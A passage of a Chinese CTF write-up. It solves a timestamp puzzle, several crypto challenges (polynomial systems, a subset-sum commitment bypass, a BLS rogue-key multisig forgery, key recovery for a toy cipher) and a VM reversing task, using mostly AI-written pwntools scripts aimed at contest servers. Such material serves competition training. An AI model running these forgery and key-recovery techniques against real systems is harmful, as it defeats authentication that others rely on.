except:
return "无EXIF"
with pyzipper.AESZipFile(zip_file, 'r') as zf:
zf.pwd = zip_password # 设置密码
print(f"{'文件名':<10} | {'ZIP时间戳':<20} | {'UNIX时间':<12} | {'EXIF时间':<20}")
print("-" * 80)
for file_num in range(1, 37):
filename = f"{file_num}.png"
try:
info = zf.getinfo(filename)
zip_dt = datetime.datetime(*info.date_time)
zip_unix = int(zip_dt.timestamp())
# 读取文件字节
img_bytes = zf.read(filename)
exif_time = get_exif_time_from_bytes(img_bytes)
print(f"{filename:<10} | {zip_dt} | {zip_unix:<12} | {exif_time:<20}")
except KeyError:
print(f"{filename:<10} | 未找到文件 | - | -")

按照右侧的EXIF时间,从早到晚进行排序,得到的顺序是:
| 文件名 | EXIF时间 | 时间戳 |
|---|---|---|
| 34.png | 2037-12-30 00:00:01 | 2145768196 |
| 13.png | 2037-12-30 00:00:02 | 2145768202 |
| 1.png | 2037-12-30 00:00:03 | 2145768190 |
| 30.png | 2037-12-30 00:00:04 | 2145768196 |
| 19.png | 2037-12-30 00:00:05 | 2145768216 |
| 7.png | 2037-12-30 00:00:06 | 2145768182 |
| 21.png | 2037-12-30 00:00:07 | 2145768142 |
| 28.png | 2037-12-30 00:00:08 | 2145768210 |
| 4.png | 2037-12-30 00:00:09 | 2145768188 |
| 14.png | 2037-12-30 00:00:10 | 2145768146 |
| 32.png | 2037-12-30 00:00:11 | 2145768208 |
| 36.png | 2037-12-30 00:00:12 | 2145768194 |
| 33.png | 2037-12-30 00:00:13 | 2145768188 |
| 5.png | 2037-12-30 00:00:14 | 2145768210 |
| 15.png | 2037-12-30 00:00:15 | 2145768166 |
| 18.png | 2037-12-30 00:00:16 | 2145768194 |
| 6.png | 2037-12-30 00:00:17 | 2145768188 |
| 16.png | 2037-12-30 00:00:18 | 2145768176 |
| 29.png | 2037-12-30 00:00:19 | 2145768194 |
| 26.png | 2037-12-30 00:00:20 | 2145768190 |
| 31.png | 2037-12-30 00:00:21 | 2145768170 |
| 9.png | 2037-12-30 00:00:22 | 2145768188 |
| 3.png | 2037-12-30 00:00:23 | 2145768178 |
| 24.png | 2037-12-30 00:00:24 | 2145768166 |
| 11.png | 2037-12-30 00:00:25 | 2145768170 |
| 2.png | 2037-12-30 00:00:26 | 2145768162 |
| 8.png | 2037-12-30 00:00:27 | 2145768188 |
| 10.png | 2037-12-30 00:00:28 | 2145768166 |
| 35.png | 2037-12-30 00:00:29 | 2145768158 |
| 27.png | 2037-12-30 00:00:30 | 2145768192 |
| 23.png | 2037-12-30 00:00:31 | 2145768200 |
| 22.png | 2037-12-30 00:00:32 | 2145768194 |
| 12.png | 2037-12-30 00:00:33 | 2145768208 |
| 25.png | 2037-12-30 00:00:34 | 2145768126 |
| 17.png | 2037-12-30 00:00:35 | 2145768126 |
| 20.png | 2037-12-30 00:00:36 | 2145768218 |
可以看到它们的时间戳和压缩包密码:2145768093,只大了一点点,猜测这个密码也是一个时间戳。按照顺序,用文件的时间戳减去密码的时间戳,得到:
103 109 97 103 123 89 49 117 95 53 115 101 95 117 73 101 95 83 101 97 77 95 85
73 77 69 95 73 65 99 107 101 115 33 33 125
用ASCII解码发现顺序不对,但是flag的格式是有了。

到这一步我没招了,没找到其他信息,但我发现开头的ASCII码:103 109减掉1后,就有了flag头
103 109 --> gm
--------------
102 108 --> fl //ASCII码减1后

到这里,我就想是不是flag内容的部分ASCII码也可以减掉1?🤔
于是我就开始了试错法提交flag,先处理一下flag里面的字母,ASCII 95是下划线,对每段进行分开,方便调整试错

第一段的Y1u看起来像是Y0u,给49减掉1=48后,得到:Y0u

第二段把53和115减掉1后,得到:4re。看起来flag具有可读性了:you are…

第三段的117和73分别减掉1后,得到:tHe

第四段的83和77减掉1后,得到:ReaL

第五段的85减掉1后,得到:TIME

第六段有两个选项,我都进行试错了,先看第一个
第一个选项:73和115减掉1后,得到:HAcker,和前面的拼接并提交后,提示flag错误

第二个选项:
把65减掉1,得到:H@cker!!

然后和前面的进行拼接得到:flag{Y0u_4re_tHe_ReaL_TIME_H@cker!!}。
用这个提交后,提示flag正确。应该是非预期解了😨
Crypto
Poly
题目描述:What's the gcd of three polynomials?
把附件的代码给AI,AI分析并给出解题脚本


完整解题脚本:
sage
def l2b(n: int, length: int) -> bytes:
"""Convert integer back to bytes"""
result = []
for _ in range(length):
result.append(n & 0xff)
n >>= 8
return bytes(reversed(result))
# Given values
p = 30784558756838163538710632027143185397437897603217673077150297305544071001199
c1 = 2909317260219356685336632301474678396728564531244632916913671591997406996972
c2 = 4294738619365099885640900866122577092111906369664055461700321556058254607968
s = 8215705534787817006092091346252328321484153279277254569529867991109185617083
print("Setting up polynomial ring...")
# Create polynomial ring over finite field
F = GF(p)
R.<m1, m2> = PolynomialRing(F)
# Define the polynomial equations
eq1 = m1^19 + m1^18 + 4*m1^17 - c1
eq2 = 5*m2^19 + m2^18 + 4*m2^17 - c2
eq3 = m1^7*m2^2 + m2 - s
print("Computing Groebner basis (this may take a while)...")
# Use Groebner basis to solve the system
I = ideal(eq1, eq2, eq3)
gb = I.groebner_basis()
print(f"Groebner basis computed with {len(gb)} elements")
print("\nTrying to extract solutions...")
# Try to find solutions
for poly in gb:
print(f"Polynomial: {poly}")
if poly.parent().ngens() == 1: # Univariate polynomial
print(f"Found univariate polynomial in {poly.variables()}")
# Try to solve it
roots = poly.univariate_polynomial().roots()
print(f"Roots: {roots}")
# Alternative: try variety (find all solutions)
print("\nComputing variety...")
try:
V = I.variety()
print(f"Found {len(V)} solution(s):")
for sol in V:
m1_val = Integer(sol[m1])
m2_val = Integer(sol[m2])
print(f"\nm1 = {m1_val}")
print(f"m2 = {m2_val}")
# Verify the solution
check1 = (m1_val^19 + m1_val^18 + 4*m1_val^17) % p
check2 = (5*m2_val^19 + m2_val^18 + 4*m2_val^17) % p
check3 = (m1_val^7*m2_val^2 + m2_val) % p
print(f"Verification:")
print(f" c1 matches: {check1 == c1}")
print(f" c2 matches: {check2 == c2}")
print(f" s matches: {check3 == s}")
# Try to decode as bytes - guess reasonable lengths
for len1 in range(15, 25):
for len2 in range(15, 25):
try:
x1 = l2b(m1_val, len1).decode('ascii')
x2 = l2b(m2_val, len2).decode('ascii')
flag = x1 + x2
if flag.startswith('flag{') and flag.endswith('}'):
print(f"\n{'='*50}")
print(f"FLAG FOUND: {flag}")
print(f"{'='*50}")
except:
pass
except Exception as e:
print(f"Variety computation failed: {e}")
print("Trying alternative approach...")

得到m1和m2之后
def l2b(n: int, length: int) -> bytes:
"""Convert integer back to bytes"""
result = []
for _ in range(length):
result.append(n & 0xff)
n >>= 8
return bytes(reversed(result))
# Given values
p = 30784558756838163538710632027143185397437897603217673077150297305544071001199
# From Groebner basis output:
# Polynomial: m1 + 30784558756838163538710631877451275199664084195901051262452937785818638319630
# Polynomial: m2 + 30784558756838163538710631943551130442387595390867383190918209920950949511666
# This means: m1 = -30784558756838163538710631877451275199664084195901051262452937785818638319630 (mod p)
# Which is: m1 = p - 30784558756838163538710631877451275199664084195901051262452937785818638319630
m1 = p - 30784558756838163538710631877451275199664084195901051262452937785818638319630
m2 = p - 30784558756838163538710631943551130442387595390867383190918209920950949511666
print(f"m1 = {m1}")
print(f"m2 = {m2}")
# Verify the solution
c1 = 2909317260219356685336632301474678396728564531244632916913671591997406996972
c2 = 4294738619365099885640900866122577092111906369664055461700321556058254607968
s = 8215705534787817006092091346252328321484153279277254569529867991109185617083
check1 = (m1**19 + m1**18 + 4*m1**17) % p
check2 = (5*m2**19 + m2**18 + 4*m2**17) % p
check3 = (m1**7 * m2**2 + m2) % p
print(f"\nVerification:")
print(f" c1 matches: {check1 == c1}")
print(f" c2 matches: {check2 == c2}")
print(f" s matches: {check3 == s}")
# Try to decode as bytes - the flag format is "flag{uuid}"
# UUIDs are 36 characters: "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# So total flag length is 5 + 36 + 1 = 42 characters
# Split in half: 21 and 21
for len1 in range(15, 30):
try:
x1 = l2b(m1, len1).decode('ascii')
if x1.startswith('flag{'):
print(f"\nFirst half (length {len1}): {x1}")
# Now try to find matching second half
for len2 in range(15, 30):
try:
x2 = l2b(m2, len2).decode('ascii')
flag = x1 + x2
if flag.endswith('}') and len(flag) == 42:
print(f"Second half (length {len2}): {x2}")
print(f"\n{'='*60}")
print(f"FLAG FOUND: {flag}")
print(f"{'='*60}")
break
except:
pass
break
except:
pass

不给你看喵
题目描述:不告诉你喵
把附件的代码和服务器给的数据给AI,让AI分析并写出解题脚本

"""
自动化脚本获取flag
"""
from pwn import *
# 服务器信息
host = "39.106.48.123"
port = 43714
# 已知参数
p = 225791639467198034995070527100776477487
g = 3
h = 5
# 连接到服务器
conn = remote(host, port)
# 接收 a 数组和 t
data = conn.recvuntil(b'Every bit: ')
lines = data.decode().strip().split('\n')
# 解析 a 数组(第一行)
a = eval(lines[0])
print(f"收到 a: {a}")
# 解析 t(第二行)
t = int(lines[1])
print(f"收到 t: {t}")
n = len(a)
# 求解子集和问题
def solve_subset_sum(a, target, n):
def backtrack(index, current_sum, solution):
if index == n:
if current_sum == target:
return solution[:]
return None
# 尝试 x[index] = 0
result = backtrack(index + 1, current_sum, solution + [0])
if result is not None:
return result
# 尝试 x[index] = 1
result = backtrack(index + 1, current_sum + a[index], solution + [1])
if result is not None:
return result
return None
return backtrack(0, 0, [])
print("正在求解子集和问题...")
x = solve_subset_sum(a, t, n)
print(f"找到 x: {x}")
# 验证
check_sum = sum(a[i] * x[i] for i in range(n))
assert check_sum == t, "子集和验证失败!"
print("子集和验证成功!")
# 构造并发送第一个 C 值
if x[0] == 1:
C_0 = g
else:
C_0 = h
conn.sendline(str(C_0).encode())
print(f"发送 C[0] = {C_0}")
# 发送剩余的 C 值
for i in range(1, n):
conn.recvuntil(b'Every bit: ')
if x[i] == 1:
C_i = g
else:
C_i = h
conn.sendline(str(C_i).encode())
print(f"发送 C[{i}] = {C_i}")
# 接收 s 数组
s_data = conn.recvuntil(b'>')
s_lines = s_data.decode().strip().split('\n')
# 找到包含列表的那一行
for line in s_lines:
if line.startswith('['):
s = eval(line)
break
print(f"收到 s: {s}")
# 计算 S 和 R
S = sum(s[i] * x[i] for i in range(n))
R = sum(s[i] * (1 - x[i]) for i in range(n))
print(f"计算得到 S = {S}")
print(f"计算得到 R = {R}")
# 验证 R > S
assert R > S, f"R ({R}) 必须大于 S ({S})!"
print("R > S 验证通过!")
# 发送 S
conn.sendline(str(S).encode())
print(f"发送 S = {S}")
# 发送 R
conn.recvuntil(b'>')
conn.sendline(str(R).encode())
print(f"发送 R = {R}")
# 接收 FLAG
print("\n等待接收 FLAG...")
response = conn.recvall(timeout=2).decode()
print(response)
conn.close()

BLS多重签名:零的裂变
题目描述:
欢迎来到BLS多重签名验证系统!我们使用最先进的BLS12-381曲线和聚合签名技术,确保签名的安全性和效率。
在这个系统中,用户可以注册自己的BLS公钥(需要提供Proof of Possession),然后使用多重签名功能。系统会验证聚合公钥和聚合签名的有效性。
你的任务:
你需要构造一个特殊的多重签名,使得:
1.使用3个公钥对消息 "get_flag" 进行签名,其中2个公钥由你注册控制
2.聚合公钥必须等于服务器的固定公钥,聚合签名验证通过
把题目描述和附件的代码给AI,让AI进行分析并给出解题脚本


#!/usr/bin/env python3
# solution.py - BLS Multisig Challenge Solver
from py_ecc.bls import G2ProofOfPossession as bls
from py_ecc.bls.g2_primitives import G1_to_pubkey, pubkey_to_G1, G2_to_signature, signature_to_G2
from py_ecc.optimized_bls12_381 import G1, multiply, add, neg, Z1
import socket
import json
import secrets
# BLS12-381 curve order
order = 52435875175126190479447740508185965837690552500527637822603658699938581184513
def send_command(sock, command):
"""Send command to server and receive response"""
sock.sendall(json.dumps(command).encode() + b'\n')
response = sock.recv(4096).decode().strip()
return json.loads(response)
def get_server_info(sock):
"""Get server public key and PoP"""
cmd = {'type': 'get_info'}
response = send_command(sock, cmd)
return response
def register_pubkey(sock, pk_hex, pop_hex):
"""Register a public key with its PoP"""
cmd = {
'type': 'register',
'pk': pk_hex,
'pop': pop_hex
}
response = send_command(sock, cmd)
return response
def get_server_signature(sock):
"""Get server signature for 'get_flag'"""
cmd = {
'type': 'sign',
'msg': 'get_flag'
}
response = send_command(sock, cmd)
return response
def submit_flag_request(sock, pks_hex, sig_hex):
"""Submit the flag request with aggregate signature"""
cmd = {
'type': 'get_flag',
'pks': pks_hex,
'sig': sig_hex
}
response = send_command(sock, cmd)
return response
def point_to_hex(point):
"""Convert G1 point to hex string"""
return G1_to_pubkey(point).hex()
def hex_to_point(hex_str):
"""Convert hex string to G1 point"""
return pubkey_to_G1(bytes.fromhex(hex_str))
def negate_pubkey(pk_hex):
"""Negate a public key (find -PK)"""
point = hex_to_point(pk_hex)
neg_point = neg(point)
return point_to_hex(neg_point)
def solve_challenge(host, port):
"""Main solving function"""
print(f"[*] Connecting to {host}:{port}...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
sock.settimeout(30)
# Step 1: Get server information
print("[*] Getting server info...")
info_response = get_server_info(sock)
if not info_response['success']:
print(f"[-] Failed to get server info: {info_response['message']}")
return
server_pk_hex = info_response['message']['server_pk']
print(f"[+] Server PK: {server_pk_hex[:32]}...")
# Step 2: Generate first keypair
print("[*] Generating keypair 1...")
sk1 = secrets.randbelow(order - 1) + 1
pk1 = bls.SkToPk(sk1)
pk1_hex = pk1.hex()
pop1 = bls.Sign(sk1, b"POP")
pop1_hex = pop1.hex()
print(f"[+] PK1: {pk1_hex[:32]}...")
# Step 3: Generate second public key as negation of first
print("[*] Generating keypair 2 (negation of PK1)...")
pk2_hex = negate_pubkey(pk1_hex)
# For pk2, we need to generate PoP
# Since pk2 = -pk1 = (-1) * G * sk1 = G * (-sk1)
# The secret key for pk2 is sk2 = order - sk1
sk2 = (order - sk1) % order
if sk2 == 0:
sk2 = order - sk1
pop2 = bls.Sign(sk2, b"POP")
pop2_hex = pop2.hex()
print(f"[+] PK2: {pk2_hex[:32]}...")
# Verify that pk1 + pk2 = 0 (identity)
pk1_point = hex_to_point(pk1_hex)
pk2_point = hex_to_point(pk2_hex)
sum_point = add(pk1_point, pk2_point)
if sum_point == Z1:
print("[+] Verified: PK1 + PK2 = identity point")
else:
print(f"[!] Warning: PK1 + PK2 = {sum_point}")
# Step 4: Register both public keys
print("[*] Registering PK1...")
reg1_response = register_pubkey(sock, pk1_hex, pop1_hex)
if reg1_response['success']:
print("[+] PK1 registered successfully")
else:
print(f"[-] Failed to register PK1: {reg1_response['message']}")
return
print("[*] Registering PK2...")
reg2_response = register_pubkey(sock, pk2_hex, pop2_hex)
if reg2_response['success']:
print("[+] PK2 registered successfully")
else:
print(f"[-] Failed to register PK2: {reg2_response['message']}")
return
# Step 5: Get server signature for "get_flag"
print("[*] Getting server signature...")
sig_response = get_server_signature(sock)
if not sig_response['success']:
print(f"[-] Failed to get server signature: {sig_response['message']}")
return
server_sig_hex = sig_response['message']
print(f"[+] Server signature: {server_sig_hex[:32]}...")
# Step 6: Create signatures for our keys
print("[*] Creating signature with sk1...")
msg = b"get_flag"
sig1 = bls.Sign(sk1, msg)
print("[*] Creating signature with sk2...")
sig2 = bls.Sign(sk2, msg)
# Step 7: Aggregate signatures
# The aggregate signature should be sig1 + sig2 + server_sig
# But since pk1 + pk2 = 0, we actually need sig1 + sig2 = 0 for proper verification
# However, for BLS, sig(sk, m) on negated keys doesn't simply negate
# Let's try: aggregate all three signatures
print("[*] Aggregating signatures...")
sig1_point = signature_to_G2(sig1)
sig2_point = signature_to_G2(sig2)
server_sig_point = signature_to_G2(bytes.fromhex(server_sig_hex))
# Aggregate: sig1 + sig2 + server_sig
agg_sig_point = add(add(sig1_point, sig2_point), server_sig_point)
agg_sig = G2_to_signature(agg_sig_point)
agg_sig_hex = agg_sig.hex()
print(f"[+] Aggregate signature: {agg_sig_hex[:32]}...")
# Step 8: Submit flag request
print("[*] Submitting flag request...")
pks_list = [pk1_hex, pk2_hex, server_pk_hex]
flag_response = submit_flag_request(sock, pks_list, agg_sig_hex)
if flag_response['success']:
print(f"\n[+] SUCCESS! Flag: {flag_response['message']}")
else:
print(f"[-] Failed: {flag_response['message']}")
# Try alternative: just use server signature
print("[*] Trying alternative: using only server signature...")
flag_response2 = submit_flag_request(sock, pks_list, server_sig_hex)
if flag_response2['success']:
print(f"\n[+] SUCCESS! Flag: {flag_response2['message']}")
else:
print(f"[-] Failed: {flag_response2['message']}")
if __name__ == "__main__":
HOST = "39.106.48.123"
PORT = 32916
try:
solve_challenge(HOST, PORT)
except Exception as e:
print(f"[-] Error: {e}")
import traceback
traceback.print_exc()

Smile盒
题目描述:谁看到这个S盒的差分分布表都一定惊得下巴掉下来。
把附件的代码给claude4.5,让它进行分析



claude写的脚本,有时候结果是wrong,有时候直接获得flag,结果是wrong的话要多运行几次
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
带调试的自动化攻击脚本
"""
from pwn import *
import subprocess
import os
import tempfile
class CathylinFour:
def __init__(self,r,key):
self.r=r
self.S=(13, 11, 6, 5, 2, 7, 3, 4, 9, 0, 10, 1, 12, 15, 8, 14)
self.P=(0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15)
self.key=key
def deblock(self,m):
return [(m >> 12) & 0xF,(m >> 8) & 0xF,(m >> 4) & 0xF,m & 0xF]
def block(self, nibbles):
return (nibbles[0] << 12) | (nibbles[1] << 8) | (nibbles[2] << 4) | nibbles[3]
def permute_bits(self, x):
bits = [(x >> (15 - i)) & 1 for i in range(16)]
new_bits = [0] * 16
for i in range(16):
new_pos = self.P[i]
new_bits[new_pos] = bits[i]
result = 0
for i in range(16):
result = (result << 1) | new_bits[i]
return result
def encrypt(self,m):
p = m & 0xffff
for t in range(self.r-1):
p=p^self.key[t]
p=self.deblock(p)
p=[self.S[i] for i in p]
p=self.block(p)
p=self.permute_bits(p)
p=p^self.key[self.r-1]
p=self.deblock(p)
p=[self.S[i] for i in p]
p=self.block(p)
c=p^self.key[-1]
return c
def collect_pairs(conn):
"""收集明文-密文对"""
print("[*] 收集明文-密文对...")
test_plaintexts = [0x0, 0x1111, 0xffff, 0xaaaa]
pairs = []
for pt in test_plaintexts:
conn.sendline(hex(pt).encode())
response = conn.recvuntil(b"Your input:")
# 解析密文
lines = response.decode().split('\n')
for line in lines:
if 'Output:' in line:
ct_str = line.split('Output:')[1].strip()
ct = int(ct_str, 16)
pairs.append((pt, ct))
print(f" {hex(pt)} -> {hex(ct)}")
break
print(f"[+] 收集到 {len(pairs)} 对数据\n")
return pairs
def generate_c_cracker(pairs):
"""生成包含数据的C破解程序"""
c_code = f'''
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
const uint8_t S[16] = {{13, 11, 6, 5, 2, 7, 3, 4, 9, 0, 10, 1, 12, 15, 8, 14}};
const uint8_t S_inv[16] = {{9, 11, 4, 6, 7, 3, 2, 5, 14, 8, 10, 1, 12, 0, 15, 13}};
const uint8_t P[16] = {{0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15}};
const uint16_t plaintexts[4] = {{{pairs[0][0]:#x}, {pairs[1][0]:#x}, {pairs[2][0]:#x}, {pairs[3][0]:#x}}};
const uint16_t ciphertexts[4] = {{{pairs[0][1]:#x}, {pairs[1][1]:#x}, {pairs[2][1]:#x}, {pairs[3][1]:#x}}};
uint16_t permute_bits(uint16_t x) {{
uint16_t result = 0;
for (int i = 0; i < 16; i++) {{
if (x & (1 << (15 - i))) {{
result |= (1 << (15 - P[i]));
}}
}}
return result;
}}
uint16_t encrypt_round1(uint16_t plaintext, uint16_t key0) {{
uint16_t p = plaintext ^ key0;
uint8_t n0 = S[(p >> 12) & 0xF];
uint8_t n1 = S[(p >> 8) & 0xF];
uint8_t n2 = S[(p >> 4) & 0xF];
uint8_t n3 = S[p & 0xF];
p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
return permute_bits(p);
}}
uint16_t encrypt_full(uint16_t plaintext, uint16_t key0, uint16_t key1, uint16_t key2) {{
uint16_t p = plaintext;
p = p ^ key0;
uint8_t n0 = S[(p >> 12) & 0xF];
uint8_t n1 = S[(p >> 8) & 0xF];
uint8_t n2 = S[(p >> 4) & 0xF];
uint8_t n3 = S[p & 0xF];
p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
p = permute_bits(p);
p = p ^ key1;
n0 = S[(p >> 12) & 0xF];
n1 = S[(p >> 8) & 0xF];
n2 = S[(p >> 4) & 0xF];
n3 = S[p & 0xF];
p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
return p ^ key2;
}}
uint16_t decrypt_to_middle(uint16_t ciphertext, uint16_t key1, uint16_t key2) {{
uint16_t p = ciphertext ^ key2;
uint8_t n0 = S_inv[(p >> 12) & 0xF];
uint8_t n1 = S_inv[(p >> 8) & 0xF];
uint8_t n2 = S_inv[(p >> 4) & 0xF];
uint8_t n3 = S_inv[p & 0xF];
p = (n0 << 12) | (n1 << 8) | (n2 << 4) | n3;
return p ^ key1;
}}
int main() {{
uint16_t *key0_lookup = (uint16_t*)calloc(0x10000, sizeof(uint16_t));
uint8_t *valid_middle = (uint8_t*)calloc(0x10000, sizeof(uint8_t));
for (uint32_t key0 = 0; key0 < 0x10000; key0++) {{
uint16_t middle = encrypt_round1(plaintexts[0], key0);
key0_lookup[middle] = key0;
valid_middle[middle] = 1;
}}
for (uint32_t key1 = 0; key1 < 0x10000; key1++) {{
for (uint32_t key2 = 0; key2 < 0x10000; key2++) {{
uint16_t middle_back = decrypt_to_middle(ciphertexts[0], key1, key2);
if (valid_middle[middle_back]) {{
uint16_t key0 = key0_lookup[middle_back];
if (encrypt_round1(plaintexts[0], key0) == middle_back) {{
int valid = 1;
for (int i = 0; i < 4; i++) {{
if (encrypt_full(plaintexts[i], key0, key1, key2) != ciphertexts[i]) {{
valid = 0;
break;
}}
}}
if (valid) {{
printf("%d %d %d\\n", key0, key1, key2);
free(key0_lookup);
free(valid_middle);
return 0;
}}
}}
}}
}}
}}
free(key0_lookup);
free(valid_middle);
return 1;
}}
'''
return c_code
def crack_with_c(pairs):
"""使用C程序快速破解"""
print("[*] 生成C破解程序...")
c_code = generate_c_cracker(pairs)
with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
c_file = f.name
f.write(c_code)
binary_file = c_file.replace('.c', '')
try:
print("[*] 编译C程序...")
compile_cmd = ['gcc', '-O3', '-march=native', c_file, '-o', binary_file]
result = subprocess.run(compile_cmd, capture_output=True, text=True)
if result.returncode != 0:
print("[-] 编译失败:")
print(result.stderr)
return None, None, None
print("[+] 编译成功!")
print("[*] 运行破解程序...\n")
import time
start = time.time()
result = subprocess.run([binary_file], capture_output=True, text=True, timeout=300)
elapsed = time.time() - start
if result.returncode == 0:
keys = result.stdout.strip().split()
key0, key1, key2 = int(keys[0]), int(keys[1]), int(keys[2])
print(f"[+] 破解成功!耗时: {elapsed:.1f} 秒")
print(f"[+] key[0] = {hex(key0)} ({key0})")
print(f"[+] key[1] = {hex(key1)} ({key1})")
print(f"[+] key[2] = {hex(key2)} ({key2})\n")
return key0, key1, key2
else:
print("[-] 破解失败")
return None, None, None
finally:
if os.path.exists(c_file):
os.remove(c_file)
if os.path.exists(binary_file):
os.remove(binary_file)
def main():
print("=" * 70)
print(" 调试版自动化攻击脚本")
print("=" * 70)
print()
print("[*] 连接服务器...")
try:
conn = remote('8.147.132.32', 22975)
conn.recvuntil(b"Your input:")
print("[+] 连接成功!\n")
except Exception as e:
print(f"[-] 连接失败: {e}")
return
try:
# 收集数据
pairs = collect_pairs(conn)
# C语言破解
key0, key1, key2 = crack_with_c(pairs)
if key2 is None:
print("[-] 破解失败")
conn.close()
return
# Python验证密钥是否正确
print("[*] Python验证密钥...")
enc = CathylinFour(2, [key0, key1, key2])
all_valid = True
for pt, ct in pairs:
result = enc.encrypt(pt)
if result != ct:
print(f"[-] 验证失败: {hex(pt)} -> 期望 {hex(ct)}, 得到 {hex(result)}")
all_valid = False
else:
print(f"[+] 验证通过: {hex(pt)} -> {hex(ct)}")
if not all_valid:
print("[-] 密钥验证失败!")
conn.close()
return
print("[+] 所有明文-密文对验证通过!\n")
# 提交密钥获取FLAG
print("[*] 提交密钥获取FLAG...")
print(f"[DEBUG] 发送: 'k'")
conn.sendline(b'k')
response = conn.recvuntil(b"Your key:")
print(f"[DEBUG] 收到: {response}")
key_str = hex(key2)
print(f"[DEBUG] 发送密钥: '{key_str}'")
conn.sendline(key_str.encode())
# 接收FLAG
response = conn.recvall(timeout=2).decode()
print(f"[DEBUG] 收到响应: {response}")
print()
print("=" * 70)
if "You can smile" in response or "flag" in response.lower() or "{" in response:
print("✓✓✓ FLAG ✓✓✓")
print("=" * 70)
print(response)
else:
print("提交失败")
print("=" * 70)
print(response)
print("=" * 70)
except Exception as e:
print(f"[-] 错误: {e}")
import traceback
traceback.print_exc()
finally:
conn.close()
if __name__ == '__main__':
main()

Reverse
天才的“认证”
题目描述:“我把空间站的防御系统拿来做了个小玩具。如果你能破解它,就来主控室找我。要是连这点事都办不到,就别来烦我了,笨蛋。”
先用pyinstxtractor.py反编译成pyc,pyinstxtractor的github地址:extremecoders-re/pyinstxtractor: PyInstaller Extractor

然后用网站 python反编译 - 在线工具 把pyc反编译成代码
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8
class TinyVM:
def __init__(self, bytecode, user_input):
self.bytecode = bytecode
self.user_input = user_input
self.mem = [
0] * 100
self.ip = 0
self.stack = []
self.f = False
self.halted = False
for i, char_code in enumerate(self.user_input):
self.mem[16 + i] = char_code
def push(self, value):
self.stack.append(value & 255)
def pop(self):
if self.stack:
return self.stack.pop()
def run(self):
if self.halted and self.ip < len(self.bytecode):
opcode = self.bytecode[self.ip]
self.ip += 1
if opcode == 1:
self.push(self.bytecode[self.ip])
self.ip += 1
continue
if opcode == 2:
self.push(self.mem[self.bytecode[self.ip]])
self.ip += 1
continue
if opcode == 3:
self.mem[self.bytecode[self.ip]] = self.pop()
self.ip += 1
continue
if opcode == 4:
self.push(self.pop() + self.pop())
continue
if opcode == 5:
self.push(self.pop() ^ self.pop())
continue
if opcode == 6:
n = self.pop()
v = self.pop()
self.push(v << n)
continue
if opcode == 7:
n = self.pop()
v = self.pop()
self.push(v >> n)
continue
if opcode == 8:
self.push(self.pop() | self.pop())
continue
if opcode == 9:
self.f = self.pop() == self.pop()
continue
if opcode in (10, 11, 12):
offset = self.bytecode[self.ip]
self.ip += 1
if not opcode == 12:
if (opcode == 10 or not (self.f)) and opcode == 11:
pass
should_jump = self.f
if should_jump:
if offset > 127:
offset -= 256
self.ip += offset
continue
if opcode == 13:
self.push(len(self.user_input))
continue
if opcode == 14:
addr = self.pop()
self.push(self.mem[addr])
continue
if opcode == 15:
addr = self.pop()
val = self.pop()
self.mem[addr] = val
continue
if opcode == 255:
self.halted = True
continue
self.halted = True
continue
return bool(self.pop())
def check_flag(s):
BYTECODE = b'%01i%032%011%033%01A%034%01\t%035%01%a1%036%01`%037%01%a1%038%01%81%039%011%03:%019%03;%01%8b%03<%01!%03=%01%d1%03>%019%03?%01 %03@%01%b1%03A%01%f9%03B%01%d9%03C%01q%03D%01f%03E%01%18%03F%01%99%03G%01V%03H%01%e9%03I%01q%03J%010%03K%01V%03L%018%03M%01%a1%03N%01%ab%03O%01%86%03P\r%01%1f\t\n=%01K%03%02%01%00%03%00%02%00%01%1f\t%0b+%01%10%02%00%04%0e%02%00%04%02%02%05%03%01%02%01%01%03%06%02%01%01%05%07%08%012%02%00%04%0e\t\n%0c%02%00%01%01%04%03%00%0c%ce%01%01%ff%01%00%ff'
vm = TinyVM(BYTECODE, s.encode('utf-8'))
return vm.run()
def main():
print('「欢迎,开拓者。这里是一个被星核污染的赛博空间。」')
print('「检测到未知访问者...」机械女声响起,像是黑塔空间站的自动防御系统')
print('「哼,又一个被星核吸引来的家伙。想通过验证?先证明你不是个笨蛋吧。」——某位不愿透露姓名的天才俱乐部成员留言')
# WARNING: Decompyle incomplete
if __name__ == '__main__':
main()
把代码发送给AI,让AI写解题脚本


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class TinyVM:
"""修复后的TinyVM"""
def __init__(self, bytecode, user_input):
self.bytecode = bytecode
self.user_input = user_input
self.mem = [0] * 100
self.ip = 0
self.stack = []
self.f = False
self.halted = False
for i, char_code in enumerate(self.user_input):
self.mem[16 + i] = char_code
def push(self, value):
self.stack.append(value & 255)
def pop(self):
if self.stack:
return self.stack.pop()
return 0
def run(self):
while not self.halted and self.ip < len(self.bytecode):
opcode = self.bytecode[self.ip]
self.ip += 1
if opcode == 1: # PUSH
self.push(self.bytecode[self.ip])
self.ip += 1
elif opcode == 2: # LOAD
self.push(self.mem[self.bytecode[self.ip]])
self.ip += 1
elif opcode == 3: # STORE
self.mem[self.bytecode[self.ip]] = self.pop()
self.ip += 1
elif opcode == 4: # ADD
self.push(self.pop() + self.pop())
elif opcode == 5: # XOR
self.push(self.pop() ^ self.pop())
elif opcode == 6: # SHL
n = self.pop()
v = self.pop()
self.push(v << n)
elif opcode == 7: # SHR
n = self.pop()
v = self.pop()
self.push(v >> n)
elif opcode == 8: # OR
self.push(self.pop() | self.pop())
elif opcode == 9: # CMP
self.f = self.pop() == self.pop()
elif opcode == 10: # JZ - 跳转如果f==False
offset = self.bytecode[self.ip]
self.ip += 1
if not self.f:
if offset > 127:
offset -= 256
self.ip += offset
elif opcode == 11: # JNZ - 跳转如果f==True
offset = self.bytecode[self.ip]
self.ip += 1
if self.f:
if offset > 127:
offset -= 256
self.ip += offset
elif opcode == 12: # JMP - 无条件跳转
offset = self.bytecode[self.ip]
self.ip += 1
